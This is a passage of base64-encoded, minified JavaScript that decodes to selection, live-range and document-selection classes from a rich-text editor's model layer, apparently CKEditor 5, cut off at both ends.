IpKXtuLnB1c2goaSk7Y29udGludWV9bGV0IGE7aWYoaS50eXBlPT09ImF0dHJpYnV0ZSIpe2E9YGF0dHJpYnV0ZToke2kuYXR0cmlidXRlS2V5fToke3MubmFtZX1gfWVsc2V7YT1gJHtpLnR5cGV9OiR7aS5uYW1lfWB9aWYodGhpcy5faXNSZWNvbnZlcnRUcmlnZ2VyRXZlbnQoYSxzLm5hbWUpKXtpZihlLmhhcyhzKSl7Y29udGludWV9ZS5hZGQocyk7bi5wdXNoKHt0eXBlOiJyZWNvbnZlcnQiLGVsZW1lbnQ6c30pfWVsc2V7bi5wdXNoKGkpfX1yZXR1cm4gbn1faXNSZWNvbnZlcnRUcmlnZ2VyRXZlbnQodCxlKXtyZXR1cm4gdGhpcy5fcmVjb252ZXJzaW9uRXZlbnRzTWFwcGluZy5nZXQodCk9PT1lfX1fcyhzZixkcyk7ZnVuY3Rpb24gYWYodCxlLG4pe2NvbnN0IGk9ZS5nZXRSYW5nZSgpO2NvbnN0IG89QXJyYXkuZnJvbSh0LmdldEFuY2VzdG9ycygpKTtvLnNoaWZ0KCk7by5yZXZlcnNlKCk7Y29uc3Qgcj1vLnNvbWUoKHQ9PntpZihpLmNvbnRhaW5zSXRlbSh0KSl7Y29uc3QgZT1uLnRvVmlld0VsZW1lbnQodCk7cmV0dXJuISFlLmdldEN1c3RvbVByb3BlcnR5KCJhZGRIaWdobGlnaHQiKX19KSk7cmV0dXJuIXJ9ZnVuY3Rpb24gY2YodCxlKXtjb25zdCBuPWUuaXRlbS5uYW1lfHwiJHRleHQiO3JldHVybmAke3R9OiR7bn1gfWZ1bmN0aW9uIGxmKHQpe2NvbnN0IGU9dC5pdGVtO2NvbnN0IG49ZWYuX2NyZWF0ZUZyb21Qb3NpdGlvbkFuZFNoaWZ0KHQucHJldmlvdXNQb3NpdGlvbix0Lmxlbmd0aCk7cmV0dXJue2l0ZW06ZSxyYW5nZTpufX1mdW5jdGlvbiBkZih0LGUpe2lmKHQuaXMoInRleHRQcm94eSIpKXtjb25zdCBuPWUudG9WaWV3UG9zaXRpb24oSmguX2NyZWF0ZUJlZm9yZSh0KSk7Y29uc3QgaT1uLnBhcmVudDtyZXR1cm4gaS5pcygiJHRleHQiKT9pOm51bGx9cmV0dXJuIGUudG9WaWV3RWxlbWVudCh0KX1jbGFzcyB1Zntjb25zdHJ1Y3Rvcih0LGUsbil7dGhpcy5fbGFzdFJhbmdlQmFja3dhcmQ9ZmFsc2U7dGhpcy5fcmFuZ2VzPVtdO3RoaXMuX2F0dHJzPW5ldyBNYXA7aWYodCl7dGhpcy5zZXRUbyh0LGUsbil9fWdldCBhbmNob3IoKXtpZih0aGlzLl9yYW5nZXMubGVuZ3RoPjApe2NvbnN0IHQ9dGhpcy5fcmFuZ2VzW3RoaXMuX3Jhbmdlcy5sZW5ndGgtMV07cmV0dXJuIHRoaXMuX2xhc3RSYW5nZUJhY2t3YXJkP3QuZW5kOnQuc3RhcnR9cmV0dXJuIG51bGx9Z2V0IGZvY3VzKCl7aWYodGhpcy5fcmFuZ2VzLmxlbmd0aD4wKXtjb25zdCB0PXRoaXMuX3Jhbmdlc1t0aGlzLl9yYW5nZXMubGVuZ3RoLTFdO3JldHVybiB0aGlzLl9sYXN0UmFuZ2VCYWNrd2FyZD90LnN0YXJ0OnQuZW5kfXJldHVybiBudWxsfWdldCBpc0NvbGxhcHNlZCgpe2NvbnN0IHQ9dGhpcy5fcmFuZ2VzLmxlbmd0aDtpZih0PT09MSl7cmV0dXJuIHRoaXMuX3Jhbmdlc1swXS5pc0NvbGxhcHNlZH1lbHNle3JldHVybiBmYWxzZX19Z2V0IHJhbmdlQ291bnQoKXtyZXR1cm4gdGhpcy5fcmFuZ2VzLmxlbmd0aH1nZXQgaXNCYWNrd2FyZCgpe3JldHVybiF0aGlzLmlzQ29sbGFwc2VkJiZ0aGlzLl9sYXN0UmFuZ2VCYWNrd2FyZH1pc0VxdWFsKHQpe2lmKHRoaXMucmFuZ2VDb3VudCE9dC5yYW5nZUNvdW50KXtyZXR1cm4gZmFsc2V9ZWxzZSBpZih0aGlzLnJhbmdlQ291bnQ9PT0wKXtyZXR1cm4gdHJ1ZX1pZighdGhpcy5hbmNob3IuaXNFcXVhbCh0LmFuY2hvcil8fCF0aGlzLmZvY3VzLmlzRXF1YWwodC5mb2N1cykpe3JldHVybiBmYWxzZX1mb3IoY29uc3QgZSBvZiB0aGlzLl9yYW5nZXMpe2xldCBuPWZhbHNlO2Zvcihjb25zdCBpIG9mIHQuX3Jhbmdlcyl7aWYoZS5pc0VxdWFsKGkpKXtuPXRydWU7YnJlYWt9fWlmKCFuKXtyZXR1cm4gZmFsc2V9fXJldHVybiB0cnVlfSpnZXRSYW5nZXMoKXtmb3IoY29uc3QgdCBvZiB0aGlzLl9yYW5nZXMpe3lpZWxkIG5ldyBlZih0LnN0YXJ0LHQuZW5kKX19Z2V0Rmlyc3RSYW5nZSgpe2xldCB0PW51bGw7Zm9yKGNvbnN0IGUgb2YgdGhpcy5fcmFuZ2VzKXtpZighdHx8ZS5zdGFydC5pc0JlZm9yZSh0LnN0YXJ0KSl7dD1lfX1yZXR1cm4gdD9uZXcgZWYodC5zdGFydCx0LmVuZCk6bnVsbH1nZXRMYXN0UmFuZ2UoKXtsZXQgdD1udWxsO2Zvcihjb25zdCBlIG9mIHRoaXMuX3Jhbmdlcyl7aWYoIXR8fGUuZW5kLmlzQWZ0ZXIodC5lbmQpKXt0PWV9fXJldHVybiB0P25ldyBlZih0LnN0YXJ0LHQuZW5kKTpudWxsfWdldEZpcnN0UG9zaXRpb24oKXtjb25zdCB0PXRoaXMuZ2V0Rmlyc3RSYW5nZSgpO3JldHVybiB0P3Quc3RhcnQuY2xvbmUoKTpudWxsfWdldExhc3RQb3NpdGlvbigpe2NvbnN0IHQ9dGhpcy5nZXRMYXN0UmFuZ2UoKTtyZXR1cm4gdD90LmVuZC5jbG9uZSgpOm51bGx9c2V0VG8odCxlLG4pe2lmKHQ9PT1udWxsKXt0aGlzLl9zZXRSYW5nZXMoW10pfWVsc2UgaWYodCBpbnN0YW5jZW9mIHVmKXt0aGlzLl9zZXRSYW5nZXModC5nZXRSYW5nZXMoKSx0LmlzQmFja3dhcmQpfWVsc2UgaWYodCYmdHlwZW9mIHQuZ2V0UmFuZ2VzPT0iZnVuY3Rpb24iKXt0aGlzLl9zZXRSYW5nZXModC5nZXRSYW5nZXMoKSx0LmlzQmFja3dhcmQpfWVsc2UgaWYodCBpbnN0YW5jZW9mIGVmKXt0aGlzLl9zZXRSYW5nZXMoW3RdLCEhZSYmISFlLmJhY2t3YXJkKX1lbHNlIGlmKHQgaW5zdGFuY2VvZiBKaCl7dGhpcy5fc2V0UmFuZ2VzKFtuZXcgZWYodCldKX1lbHNlIGlmKHQgaW5zdGFuY2VvZiBIaCl7Y29uc3QgaT0hIW4mJiEhbi5iYWNrd2FyZDtsZXQgbztpZihlPT0iaW4iKXtvPWVmLl9jcmVhdGVJbih0KX1lbHNlIGlmKGU9PSJvbiIpe289ZWYuX2NyZWF0ZU9uKHQpfWVsc2UgaWYoZSE9PXVuZGVmaW5lZCl7bz1uZXcgZWYoSmguX2NyZWF0ZUF0KHQsZSkpfWVsc2V7dGhyb3cgbmV3IHNzWyJhIl0oIm1vZGVsLXNlbGVjdGlvbi1zZXR0by1yZXF1aXJlZC1zZWNvbmQtcGFyYW1ldGVyIixbdGhpcyx0XSl9dGhpcy5fc2V0UmFuZ2VzKFtvXSxpKX1lbHNlIGlmKEFzKHQpKXt0aGlzLl9zZXRSYW5nZXModCxlJiYhIWUuYmFja3dhcmQpfWVsc2V7dGhyb3cgbmV3IHNzWyJhIl0oIm1vZGVsLXNlbGVjdGlvbi1zZXR0by1ub3Qtc2VsZWN0YWJsZSIsW3RoaXMsdF0pfX1fc2V0UmFuZ2VzKHQsZT1mYWxzZSl7dD1BcnJheS5mcm9tKHQpO2NvbnN0IG49dC5zb21lKChlPT57aWYoIShlIGluc3RhbmNlb2YgZWYpKXt0aHJvdyBuZXcgc3NbImEiXSgibW9kZWwtc2VsZWN0aW9uLXNldC1yYW5nZXMtbm90LXJhbmdlIixbdGhpcyx0XSl9cmV0dXJuIHRoaXMuX3Jhbmdlcy5ldmVyeSgodD0+IXQuaXNFcXVhbChlKSkpfSkpO2lmKHQubGVuZ3RoPT09dGhpcy5fcmFuZ2VzLmxlbmd0aCYmIW4pe3JldHVybn10aGlzLl9yZW1vdmVBbGxSYW5nZXMoKTtmb3IoY29uc3QgZSBvZiB0KXt0aGlzLl9wdXNoUmFuZ2UoZSl9dGhpcy5fbGFzdFJhbmdlQmFja3dhcmQ9ISFlO3RoaXMuZmlyZSgiY2hhbmdlOnJhbmdlIix7ZGlyZWN0Q2hhbmdlOnRydWV9KX1zZXRGb2N1cyh0LGUpe2lmKHRoaXMuYW5jaG9yPT09bnVsbCl7dGhyb3cgbmV3IHNzWyJhIl0oIm1vZGVsLXNlbGVjdGlvbi1zZXRmb2N1cy1uby1yYW5nZXMiLFt0aGlzLHRdKX1jb25zdCBuPUpoLl9jcmVhdGVBdCh0LGUpO2lmKG4uY29tcGFyZVdpdGgodGhpcy5mb2N1cyk9PSJzYW1lIil7cmV0dXJufWNvbnN0IGk9dGhpcy5hbmNob3I7aWYodGhpcy5fcmFuZ2VzLmxlbmd0aCl7dGhpcy5fcG9wUmFuZ2UoKX1pZihuLmNvbXBhcmVXaXRoKGkpPT0iYmVmb3JlIil7dGhpcy5fcHVzaFJhbmdlKG5ldyBlZihuLGkpKTt0aGlzLl9sYXN0UmFuZ2VCYWNrd2FyZD10cnVlfWVsc2V7dGhpcy5fcHVzaFJhbmdlKG5ldyBlZihpLG4pKTt0aGlzLl9sYXN0UmFuZ2VCYWNrd2FyZD1mYWxzZX10aGlzLmZpcmUoImNoYW5nZTpyYW5nZSIse2RpcmVjdENoYW5nZTp0cnVlfSl9Z2V0QXR0cmlidXRlKHQpe3JldHVybiB0aGlzLl9hdHRycy5nZXQodCl9Z2V0QXR0cmlidXRlcygpe3JldHVybiB0aGlzLl9hdHRycy5lbnRyaWVzKCl9Z2V0QXR0cmlidXRlS2V5cygpe3JldHVybiB0aGlzLl9hdHRycy5rZXlzKCl9aGFzQXR0cmlidXRlKHQpe3JldHVybiB0aGlzLl9hdHRycy5oYXModCl9cmVtb3ZlQXR0cmlidXRlKHQpe2lmKHRoaXMuaGFzQXR0cmlidXRlKHQpKXt0aGlzLl9hdHRycy5kZWxldGUodCk7dGhpcy5maXJlKCJjaGFuZ2U6YXR0cmlidXRlIix7YXR0cmlidXRlS2V5czpbdF0sZGlyZWN0Q2hhbmdlOnRydWV9KX19c2V0QXR0cmlidXRlKHQsZSl7aWYodGhpcy5nZXRBdHRyaWJ1dGUodCkhPT1lKXt0aGlzLl9hdHRycy5zZXQodCxlKTt0aGlzLmZpcmUoImNoYW5nZTphdHRyaWJ1dGUiLHthdHRyaWJ1dGVLZXlzOlt0XSxkaXJlY3RDaGFuZ2U6dHJ1ZX0pfX1nZXRTZWxlY3RlZEVsZW1lbnQoKXtpZih0aGlzLnJhbmdlQ291bnQhPT0xKXtyZXR1cm4gbnVsbH1yZXR1cm4gdGhpcy5nZXRGaXJzdFJhbmdlKCkuZ2V0Q29udGFpbmVkRWxlbWVudCgpfWlzKHQpe3JldHVybiB0PT09InNlbGVjdGlvbiJ8fHQ9PT0ibW9kZWw6c2VsZWN0aW9uIn0qZ2V0U2VsZWN0ZWRCbG9ja3MoKXtjb25zdCB0PW5ldyBXZWFrU2V0O2Zvcihjb25zdCBlIG9mIHRoaXMuZ2V0UmFuZ2VzKCkpe2NvbnN0IG49bWYoZS5zdGFydCx0KTtpZihuJiZnZihuLGUpKXt5aWVsZCBufWZvcihjb25zdCBuIG9mIGUuZ2V0V2Fsa2VyKCkpe2NvbnN0IGk9bi5pdGVtO2lmKG4udHlwZT09ImVsZW1lbnRFbmQiJiZmZihpLHQsZSkpe3lpZWxkIGl9fWNvbnN0IGk9bWYoZS5lbmQsdCk7aWYoaSYmIWUuZW5kLmlzVG91Y2hpbmcoSmguX2NyZWF0ZUF0KGksMCkpJiZnZihpLGUpKXt5aWVsZCBpfX19Y29udGFpbnNFbnRpcmVDb250ZW50KHQ9dGhpcy5hbmNob3Iucm9vdCl7Y29uc3QgZT1KaC5fY3JlYXRlQXQodCwwKTtjb25zdCBuPUpoLl9jcmVhdGVBdCh0LCJlbmQiKTtyZXR1cm4gZS5pc1RvdWNoaW5nKHRoaXMuZ2V0Rmlyc3RQb3NpdGlvbigpKSYmbi5pc1RvdWNoaW5nKHRoaXMuZ2V0TGFzdFBvc2l0aW9uKCkpfV9wdXNoUmFuZ2UodCl7dGhpcy5fY2hlY2tSYW5nZSh0KTt0aGlzLl9yYW5nZXMucHVzaChuZXcgZWYodC5zdGFydCx0LmVuZCkpfV9jaGVja1JhbmdlKHQpe2ZvcihsZXQgZT0wO2U8dGhpcy5fcmFuZ2VzLmxlbmd0aDtlKyspe2lmKHQuaXNJbnRlcnNlY3RpbmcodGhpcy5fcmFuZ2VzW2VdKSl7dGhyb3cgbmV3IHNzWyJhIl0oIm1vZGVsLXNlbGVjdGlvbi1yYW5nZS1pbnRlcnNlY3RzIixbdGhpcyx0XSx7YWRkZWRSYW5nZTp0LGludGVyc2VjdGluZ1JhbmdlOnRoaXMuX3Jhbmdlc1tlXX0pfX19X3JlbW92ZUFsbFJhbmdlcygpe3doaWxlKHRoaXMuX3Jhbmdlcy5sZW5ndGg+MCl7dGhpcy5fcG9wUmFuZ2UoKX19X3BvcFJhbmdlKCl7dGhpcy5fcmFuZ2VzLnBvcCgpfX1fcyh1Zixkcyk7ZnVuY3Rpb24gaGYodCxlKXtpZihlLmhhcyh0KSl7cmV0dXJuIGZhbHNlfWUuYWRkKHQpO3JldHVybiB0LnJvb3QuZG9jdW1lbnQubW9kZWwuc2NoZW1hLmlzQmxvY2sodCkmJnQucGFyZW50fWZ1bmN0aW9uIGZmKHQsZSxuKXtyZXR1cm4gaGYodCxlKSYmZ2YodCxuKX1mdW5jdGlvbiBtZih0LGUpe2NvbnN0IG49dC5wYXJlbnQ7Y29uc3QgaT1uLnJvb3QuZG9jdW1lbnQubW9kZWwuc2NoZW1hO2NvbnN0IG89dC5wYXJlbnQuZ2V0QW5jZXN0b3JzKHtwYXJlbnRGaXJzdDp0cnVlLGluY2x1ZGVTZWxmOnRydWV9KTtsZXQgcj1mYWxzZTtjb25zdCBzPW8uZmluZCgodD0+e2lmKHIpe3JldHVybiBmYWxzZX1yPWkuaXNMaW1pdCh0KTtyZXR1cm4hciYmaGYodCxlKX0pKTtvLmZvckVhY2goKHQ9PmUuYWRkKHQpKSk7cmV0dXJuIHN9ZnVuY3Rpb24gZ2YodCxlKXtjb25zdCBuPXBmKHQpO2lmKCFuKXtyZXR1cm4gdHJ1ZX1jb25zdCBpPWUuY29udGFpbnNSYW5nZShlZi5fY3JlYXRlT24obiksdHJ1ZSk7cmV0dXJuIWl9ZnVuY3Rpb24gcGYodCl7Y29uc3QgZT10LnJvb3QuZG9jdW1lbnQubW9kZWwuc2NoZW1hO2xldCBuPXQucGFyZW50O3doaWxlKG4pe2lmKGUuaXNCbG9jayhuKSl7cmV0dXJuIG59bj1uLnBhcmVudH19Y2xhc3Mga2YgZXh0ZW5kcyBlZntjb25zdHJ1Y3Rvcih0LGUpe3N1cGVyKHQsZSk7YmYuY2FsbCh0aGlzKX1kZXRhY2goKXt0aGlzLnN0b3BMaXN0ZW5pbmcoKX1pcyh0KXtyZXR1cm4gdD09PSJsaXZlUmFuZ2UifHx0PT09Im1vZGVsOmxpdmVSYW5nZSJ8fHQ9PSJyYW5nZSJ8fHQ9PT0ibW9kZWw6cmFuZ2UifXRvUmFuZ2UoKXtyZXR1cm4gbmV3IGVmKHRoaXMuc3RhcnQsdGhpcy5lbmQpfXN0YXRpYyBmcm9tUmFuZ2UodCl7cmV0dXJuIG5ldyBrZih0LnN0YXJ0LHQuZW5kKX19ZnVuY3Rpb24gYmYoKXt0aGlzLmxpc3RlblRvKHRoaXMucm9vdC5kb2N1bWVudC5tb2RlbCwiYXBwbHlPcGVyYXRpb24iLCgodCxlKT0+e2NvbnN0IG49ZVswXTtpZighbi5pc0RvY3VtZW50T3BlcmF0aW9uKXtyZXR1cm59d2YuY2FsbCh0aGlzLG4pfSkse3ByaW9yaXR5OiJsb3cifSl9ZnVuY3Rpb24gd2YodCl7Y29uc3QgZT10aGlzLmdldFRyYW5zZm9ybWVkQnlPcGVyYXRpb24odCk7Y29uc3Qgbj1lZi5fY3JlYXRlRnJvbVJhbmdlcyhlKTtjb25zdCBpPSFuLmlzRXF1YWwodGhpcyk7Y29uc3Qgbz1DZih0aGlzLHQpO2xldCByPW51bGw7aWYoaSl7aWYobi5yb290LnJvb3ROYW1lPT0iJGdyYXZleWFyZCIpe2lmKHQudHlwZT09InJlbW92ZSIpe3I9dC5zb3VyY2VQb3NpdGlvbn1lbHNle3I9dC5kZWxldGlvblBvc2l0aW9ufX1jb25zdCBlPXRoaXMudG9SYW5nZSgpO3RoaXMuc3RhcnQ9bi5zdGFydDt0aGlzLmVuZD1uLmVuZDt0aGlzLmZpcmUoImNoYW5nZTpyYW5nZSIsZSx7ZGVsZXRpb25Qb3NpdGlvbjpyfSl9ZWxzZSBpZihvKXt0aGlzLmZpcmUoImNoYW5nZTpjb250ZW50Iix0aGlzLnRvUmFuZ2UoKSx7ZGVsZXRpb25Qb3NpdGlvbjpyfSl9fWZ1bmN0aW9uIENmKHQsZSl7c3dpdGNoKGUudHlwZSl7Y2FzZSJpbnNlcnQiOnJldHVybiB0LmNvbnRhaW5zUG9zaXRpb24oZS5wb3NpdGlvbik7Y2FzZSJtb3ZlIjpjYXNlInJlbW92ZSI6Y2FzZSJyZWluc2VydCI6Y2FzZSJtZXJnZSI6cmV0dXJuIHQuY29udGFpbnNQb3NpdGlvbihlLnNvdXJjZVBvc2l0aW9uKXx8dC5zdGFydC5pc0VxdWFsKGUuc291cmNlUG9zaXRpb24pfHx0LmNvbnRhaW5zUG9zaXRpb24oZS50YXJnZXRQb3NpdGlvbik7Y2FzZSJzcGxpdCI6cmV0dXJuIHQuY29udGFpbnNQb3NpdGlvbihlLnNwbGl0UG9zaXRpb24pfHx0LmNvbnRhaW5zUG9zaXRpb24oZS5pbnNlcnRpb25Qb3NpdGlvbil9cmV0dXJuIGZhbHNlfV9zKGtmLGRzKTtjb25zdCBBZj0ic2VsZWN0aW9uOiI7Y2xhc3MgX2Z7Y29uc3RydWN0b3IodCl7dGhpcy5fc2VsZWN0aW9uPW5ldyB2Zih0KTt0aGlzLl9zZWxlY3Rpb24uZGVsZWdhdGUoImNoYW5nZTpyYW5nZSIpLnRvKHRoaXMpO3RoaXMuX3NlbGVjdGlvbi5kZWxlZ2F0ZSgiY2hhbmdlOmF0dHJpYnV0ZSIpLnRvKHRoaXMpO3RoaXMuX3NlbGVjdGlvbi5kZWxlZ2F0ZSgiY2hhbmdlOm1hcmtlciIpLnRvKHRoaXMpfWdldCBpc0NvbGxhcHNlZCgpe3JldHVybiB0aGlzLl9zZWxlY3Rpb24uaXNDb2xsYXBzZWR9Z2V0IGFuY2hvcigpe3JldHVybiB0aGlzLl9zZWxlY3Rpb24uYW5jaG9yfWdldCBmb2N1cygpe3JldHVybiB0aGlzLl9zZWxlY3Rpb24uZm9jdXN9Z2V0IHJhbmdlQ291bnQoKXtyZXR1cm4gdGhpcy5fc2VsZWN0aW9uLnJhbmdlQ291bnR9Z2V0IGhhc093blJhbmdlKCl7cmV0dXJuIHRoaXMuX3NlbGVjdGlvbi5oYXNPd25SYW5nZX1nZXQgaXNCYWNrd2FyZCgpe3JldHVybiB0aGlzLl9zZWxlY3Rpb24uaXNCYWNrd2FyZH1nZXQgaXNHcmF2aXR5T3ZlcnJpZGRlbigpe3JldHVybiB0aGlzLl9zZWxlY3Rpb24uaXNHcmF2aXR5T3ZlcnJpZGRlbn1nZXQgbWFya2Vycygpe3JldHVybiB0aGlzLl9zZWxlY3Rpb24ubWFya2Vyc31nZXQgX3Jhbmdlcygpe3JldHVybiB0aGlzLl9zZWxlY3Rpb24uX3Jhbmdlc31nZXRSYW5nZXMoKXtyZXR1cm4gdGhpcy5fc2VsZWN0aW9uLmdldFJhbmdlcygpfWdldEZpcnN0UG9zaXRpb24oKXtyZXR1cm4gdGhpcy5fc2VsZWN0aW9uLmdldEZpcnN0UG9zaXRpb24oKX1nZXRMYXN0UG9zaXRpb24oKXtyZXR1cm4gdGhpcy5fc2VsZWN0aW9uLmdldExhc3RQb3NpdGlvbigpfWdldEZpcnN0UmFuZ2UoKXtyZXR1cm4gdGhpcy5fc2VsZWN0aW9uLmdldEZpcnN0UmFuZ2UoKX1nZXRMYXN0UmFuZ2UoKXtyZXR1cm4gdGhpcy5fc2VsZWN0aW9uLmdldExhc3RSYW5nZSgpfWdldFNlbGVjdGVkQmxvY2tzKCl7cmV0dXJuIHRoaXMuX3NlbGVjdGlvbi5nZXRTZWxlY3RlZEJsb2NrcygpfWdldFNlbGVjdGVkRWxlbWVudCgpe3JldHVybiB0aGlzLl9zZWxlY3Rpb24uZ2V0U2VsZWN0ZWRFbGVtZW50KCl9Y29udGFpbnNFbnRpcmVDb250ZW50KHQpe3JldHVybiB0aGlzLl9zZWxlY3Rpb24uY29udGFpbnNFbnRpcmVDb250ZW50KHQpfWRlc3Ryb3koKXt0aGlzLl9zZWxlY3Rpb24uZGVzdHJveSgpfWdldEF0dHJpYnV0ZUtleXMoKXtyZXR1cm4gdGhpcy5fc2VsZWN0aW9uLmdldEF0dHJpYnV0ZUtleXMoKX1nZXRBdHRyaWJ1dGVzKCl7cmV0dXJuIHRoaXMuX3NlbGVjdGlvbi5nZXRBdHRyaWJ1dGVzKCl9Z2V0QXR0cmlidXRlKHQpe3JldHVybiB0aGlzLl9zZWxlY3Rpb24uZ2V0QXR0cmlidXRlKHQpfWhhc0F0dHJpYnV0ZSh0KXtyZXR1cm4gdGhpcy5fc2VsZWN0aW9uLmhhc0F0dHJpYnV0ZSh0KX1yZWZyZXNoKCl7dGhpcy5fc2VsZWN0aW9uLl91cGRhdGVNYXJrZXJzKCk7dGhpcy5fc2VsZWN0aW9uLl91cGRhdGVBdHRyaWJ1dGVzKGZhbHNlKX1vYnNlcnZlTWFya2Vycyh0KXt0aGlzLl9zZWxlY3Rpb24ub2JzZXJ2ZU1hcmtlcnModCl9aXModCl7cmV0dXJuIHQ9PT0ic2VsZWN0aW9uInx8dD09Im1vZGVsOnNlbGVjdGlvbiJ8fHQ9PSJkb2N1bWVudFNlbGVjdGlvbiJ8fHQ9PSJtb2RlbDpkb2N1bWVudFNlbGVjdGlvbiJ9X3NldEZvY3VzKHQsZSl7dGhpcy5fc2VsZWN0aW9uLnNldEZvY3VzKHQsZSl9X3NldFRvKHQsZSxuKXt0aGlzLl9zZWxlY3Rpb24uc2V0VG8odCxlLG4pfV9zZXRBdHRyaWJ1dGUodCxlKXt0aGlzLl9zZWxlY3Rpb24uc2V0QXR0cmlidXRlKHQsZSl9X3JlbW92ZUF0dHJpYnV0ZSh0KXt0aGlzLl9zZWxlY3Rpb24ucmVtb3ZlQXR0cmlidXRlKHQpfV9nZXRTdG9yZWRBdHRyaWJ1dGVzKCl7cmV0dXJuIHRoaXMuX3NlbGVjdGlvbi5fZ2V0U3RvcmVkQXR0cmlidXRlcygpfV9vdmVycmlkZUdyYXZpdHkoKXtyZXR1cm4gdGhpcy5fc2VsZWN0aW9uLm92ZXJyaWRlR3Jhdml0eSgpfV9yZXN0b3JlR3Jhdml0eSh0KXt0aGlzLl9zZWxlY3Rpb24ucmVzdG9yZUdyYXZpdHkodCl9c3RhdGljIF9nZXRTdG9yZUF0dHJpYnV0ZUtleSh0KXtyZXR1cm4gQWYrdH1zdGF0aWMgX2lzU3RvcmVBdHRyaWJ1dGVLZXkodCl7cmV0dXJuIHQuc3RhcnRzV2l0aChBZil9fV9zKF9mLGRzKTtjbGFzcyB2ZiBleHRlbmRzIHVme2NvbnN0cnVjdG9yKHQpe3N1cGVyKCk7dGhpcy5tYXJrZXJzPW5ldyB2cyh7aWRQcm9wZXJ0eToibmFtZSJ9KTt0aGlzLl9tb2RlbD10Lm1vZGVsO3RoaXMuX2RvY3VtZW50PXQ7dGhpcy5fYXR0cmlidXRlUHJpb3JpdHk9bmV3IE1hcDt0aGlzLl9zZWxlY3Rpb25SZXN0b3JlUG9zaXRpb249bnVsbDt0aGlzLl9oYXNDaGFuZ2VkUmFuZ2U9ZmFsc2U7dGhpcy5fb3ZlcnJpZGRlbkdyYXZpdHlSZWdpc3Rlcj1uZXcgU2V0O3RoaXMuX29ic2VydmVkTWFya2Vycz1uZXcgU2V0O3RoaXMubGlzdGVuVG8odGhpcy5fbW9kZWwsImFwcGx5T3BlcmF0aW9uIiwoKHQsZSk9Pntjb25zdCBuPWVbMF07aWYoIW4uaXNEb2N1bWVudE9wZXJhdGlvbnx8bi50eXBlPT0ibWFya2VyInx8bi50eXBlPT0icmVuYW1lInx8bi50eXBlPT0ibm9vcCIpe3JldHVybn1pZih0aGlzLl9yYW5nZXMubGVuZ3RoPT0wJiZ0aGlzLl9zZWxlY3Rpb25SZXN0b3JlUG9zaXRpb24pe3RoaXMuX2ZpeEdyYXZleWFyZFNlbGVjdGlvbih0aGlzLl9zZWxlY3Rpb25SZXN0b3JlUG9zaXRpb24pfXRoaXMuX3NlbGVjdGlvblJlc3RvcmVQb3NpdGlvbj1udWxsO2lmKHRoaXMuX2hhc0NoYW5nZWRSYW5nZSl7dGhpcy5faGFzQ2hhbmdlZFJhbmdlPWZhbHNlO3RoaXMuZmlyZSgiY2hhbmdlOnJhbmdlIix7ZGlyZWN0Q2hhbmdlOmZhbHNlfSl9fSkse3ByaW9yaXR5OiJsb3dlc3QifSk7dGhpcy5vbigiY2hhbmdlOnJhbmdlIiwoKCk9Pntmb3IoY29uc3QgdCBvZiB0aGlzLmdldFJhbmdlcygpKXtpZighdGhpcy5fZG9jdW1lbnQuX3ZhbGlkYXRlU2VsZWN0aW9uUmFuZ2UodCkpe3Rocm93IG5ldyBzc1siYSJdKCJkb2N1bWVudC1zZWxlY3Rpb24td3JvbmctcG9zaXRpb24iLHRoaXMse3JhbmdlOnR9KX19fSkpO3RoaXMubGlzdGVuVG8odGhpcy5fbW9kZWwubWFya2VycywidXBkYXRlIiwoKHQsZSxuLGkpPT57dGhpcy5fdXBkYXRlTWFya2VyKGUsaSl9KSk7dGhpcy5saXN0ZW5Ubyh0aGlzLl9kb2N1bWVudCwiY2hhbmdlIiwoKHQsZSk9Pnt4Zih0aGlzLl9tb2RlbCxlKX0pKX1nZXQgaXNDb2xsYXBzZWQoKXtjb25zdCB0PXRoaXMuX3Jhbmdlcy5sZW5ndGg7cmV0dXJuIHQ9PT0wP3RoaXMuX2RvY3VtZW50Ll9nZXREZWZhdWx0UmFuZ2UoKS5pc0NvbGxhcHNlZDpzdXBlci5pc0NvbGxhcHNlZH1nZXQgYW5jaG9yKCl7cmV0dXJuIHN1cGVyLmFuY2hvcnx8dGhpcy5fZG9jdW1lbnQuX2dldERlZmF1bHRSYW5nZSgpLnN0YXJ0fWdldCBmb2N1cygpe3JldHVybiBzdXBlci5mb2N1c3x8dGhpcy5fZG9jdW1lbnQuX2dldERlZmF1bHRSYW5nZSgpLmVuZH1nZXQgcmFuZ2VDb3VudCgpe3JldHVybiB0aGlzLl9yYW5nZXMubGVuZ3RoP3RoaXMuX3Jhbmdlcy5sZW5ndGg6MX1nZXQgaGFzT3duUmFuZ2UoKXtyZXR1cm4gdGhpcy5fcmFuZ2VzLmxlbmd0aD4wfWdldCBpc0dyYXZpdHlPdmVycmlkZGVuKCl7cmV0dXJuISF0aGlzLl9vdmVycmlkZGVuR3Jhdml0eVJlZ2lzdGVyLnNpemV9ZGVzdHJveSgpe2ZvcihsZXQgdD0wO3Q8dGhpcy5fcmFuZ2VzLmxlbmd0aDt0Kyspe3RoaXMuX3Jhbmdlc1t0XS5kZXRhY2goKX10aGlzLnN0b3BMaXN0ZW5pbmcoKX0qZ2V0UmFuZ2VzKCl7aWYodGhpcy5fcmFuZ2VzLmxlbmd0aCl7eWllbGQqc3VwZXIuZ2V0UmFuZ2VzKCl9ZWxzZXt5aWVsZCB0aGlzLl9kb2N1bWVudC5fZ2V0RGVmYXVsdFJhbmdlKCl9fWdldEZpcnN0UmFuZ2UoKXtyZXR1cm4gc3VwZXIuZ2V0Rmlyc3RSYW5nZSgpfHx0aGlzLl9kb2N1bWVudC5fZ2V0RGVmYXVsdFJhbmdlKCl9Z2V0TGFzdFJhbmdlKCl7cmV0dXJuIHN1cGVyLmdldExhc3RSYW5nZSgpfHx0aGlzLl9kb2N1bWVudC5fZ2V0RGVmYXVsdFJhbmdlKCl9c2V0VG8odCxlLG4pe3N1cGVyLnNldFRvKHQsZSxuKTt0aGlzLl91cGRhdGVBdHRyaWJ1dGVzKHRydWUpO3RoaXMuX3VwZGF0ZU1hcmtlcnMoKX1zZXRGb2N1cyh0LGUpe3N1cGVyLnNldEZvY3VzKHQsZSk7dGhpcy5fdXBkYXRlQXR0cmlidXRlcyh0cnVlKTt0aGlzLl91cGRhdGVNYXJrZXJzKCl9c2V0QXR0cmlidXRlKHQsZSl7aWYodGhpcy5fc2V0QXR0cmlidXRlKHQsZSkpe2NvbnN0IGU9W3RdO3RoaXMuZmlyZSgiY2hhbmdlOmF0dHJpYnV0ZSIse2F0dHJpYnV0ZUtleXM6ZSxkaXJlY3RDaGFuZ2U6dHJ1ZX0pfX1yZW1vdmVBdHRyaWJ1dGUodCl7aWYodGhpcy5fcmVtb3ZlQXR0c